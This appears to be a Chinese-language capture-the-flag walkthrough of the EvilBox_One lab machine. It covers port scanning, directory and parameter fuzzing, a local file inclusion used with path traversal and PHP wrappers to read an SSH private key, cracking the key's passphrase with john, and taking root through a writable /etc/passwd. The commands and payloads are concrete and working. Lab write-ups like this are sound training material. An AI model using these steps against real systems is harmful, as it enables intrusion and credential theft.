EvilBox_One

环境搭建

1
2
渗透机:192.168.50.216
靶机:192.168.50.51

端口探针

1
nmap -p- 192.168.50.51

image-20240208174329629

服务探针

1
nmap -p22,80 -sV 192.168.50.51

image-20240208174506957

1
2
ssh与http  ssh爆破  没有爆破出来
http 是一个apache的首页页面

image-20240209005833017

1
发现没有什么可利用  需要进行其他的信息收集

目录爆破(gobuster)

使用了新的一个工具gobuster

主要是利用了kali自带的一个字典(接下来会说这个字典的强大)

1
gobuster dir -u http://192.168.50.51 -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp

image-20240208180122061

1
2
3
4
依次跳转
robots.txt 只有 Hello H4x0r
访问/secret/ 发现也没有什么回显
继续跟随着目录继续爆
1
gobuster dir -u http://192.168.50.51/secret/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp

image-20240208202034695

1
在/secret/  发现了evil.php

/usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt

(kali自带) 我曾使用dirb,dirsearch默认字典没有跑出evil.php

1
2
在evil.php  返回还是空白页面
php作为服务器语言 可以尝试参数爆破

image-20240209005700722

参数爆破

可以bp联合爆破

亦可以使用ffuf

1
2
字典选择:
/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
1
2
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -w val.txt:VAL -u http://192.168.50.51/secret/evil.php?PARAM=VAL -fs 0
一开始 val.txt 是自己添加的一些字符

image-20240209010005363

文件包含

-fs 0 //屏蔽结果为0的结果

之所以选择../index.html 是因为我们已知原本首页是apache起始页面

且当前运行的位置在/secret/目录

1
2
发现 上面未果  尝试文件包含
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://192.168.50.51/secret/evil.php?FUZZ=../index.html -fs 0

image-20240208224457005

1
发现爆破出参数为command

本地文件包含

image-20240209010552331

远程文件包含

1
2
在渗透机上写webshell
然后使用文件包含点去包含渗透机

image-20240208232127580

并没有执行webshell,想来靶机没有开启远程包含(就当一个思路点记录下来了)

PHP封装器

1
2
使用PHP伪协议
php://filter/convert.base64-encode/resource=evil.php

image-20240208231343530

1
2
3
4
可以尝试本地写入webshell
php://input POST部分去执行php命令
或者data伪协议去写入webshell
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

image-20240209010659097

都失败了,想来没有写入的权限

SSH公钥登录

image-20240208234313230

1
2
根据/etc/passwd文件 我们可知mowree我们是可以登陆的 
我们可以尝试的ssh爆破 或者进行其他操作
1
2
ssh mowree@192.168.50.51 -v
-v 打印详细信息

image-20240209011106250

1
发现登陆mowree 有两种方式
1
2
3
4
5
我们可以根据文件包含去尝试获取公私钥
ssh公私钥 默认在用户家目录/.ssh/下
故:
../../../../../../home/mowree/.ssh/authorized_keys 远程服务器登陆的公钥
../../../../../../home/mowree/.ssh/id_rsa

image-20240208235335533

有此文件 说明存在ssh公钥登陆 且说明加密算法为rsa

image-20240208235452132

1
得到私钥

小插曲

image-20240209013221304

image-20240209012353952

1
同样是复制id_rsa然后尝试登陆  使用root与普通用户爆出来的错误不一样

一开始想着以为是root用户和普通用户导致的问题

报错是ssh“权限太开放” 想来还是chmod 777 给的权限太高了

image-20240209001159774

Enter passphrase for key ‘id_rsa’

发现私钥中仍然有 passphrase

1
可以尝试hashcat,john爆破

john爆破passphrase

1
2
3
ssh2john id_rsa > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt 是
/usr/share/wordlists/rockyou.txt 是 kali自带超大字典

image-20240209002448687

image-20240209002533252

1
成功登陆进mowree 且获取到第一个flag

提权

1
2
3
find / -perm -4000 2>/dev/null
寻找特殊权限位
find / -perm -2000 2>/dev/null

image-20240209003123544

1
发现没有可利用点
1
2
3
4
find / writeable 2>/dev/null
寻找可写文件
数量很多
小tips: /proc/ 、/run/ 、 /sys/ 可以过滤掉

image-20240209004032504

1
发现/etc/passwd 可写
image-20240209004110097

image-20240209012027579

1
2
密文可以使用 openssl 生成
openssl passwd -1 123

image-20240209012114025

1
2
su root
使用密码123即可成功提权且获得了第二个flag